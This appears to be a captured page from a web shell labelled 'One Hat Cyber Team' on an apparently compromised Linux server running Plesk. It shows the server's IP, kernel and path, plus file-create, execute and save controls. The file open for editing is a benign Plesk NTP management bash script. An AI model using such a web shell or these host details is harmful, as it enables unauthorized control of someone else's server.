⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
psa
/
admin
/
sbin
/
modules
/
ntp-timesync
/
Edit File: ntp-mng.sh
#!/usr/bin/env bash ### Copyright 1999-2024. WebPros International GmbH. All rights reserved. enable() { systemctl enable --now "$1" && systemctl start "$1" exit $? } disable() { systemctl stop "$1" && systemctl disable "$1" exit $? } is_syncing() { local status err status="$(ntpq -pn4 | grep -q '^+\|^o')" err=$? if [[ $err == 0 ]]; then echo "true" fi echo "ntpd client execution failed with non-zero exit code, stderr: ${status}" >&2 exit "$err" } main() { case "$1" in syncing) is_syncing ;; enable) enable "${2:-"ntpd"}" ;; disable) disable "${2:-"ntpd"}" ;; *) echo "Unknown command ${1}" >&2 exit 1 esac } main "$@"
Simpan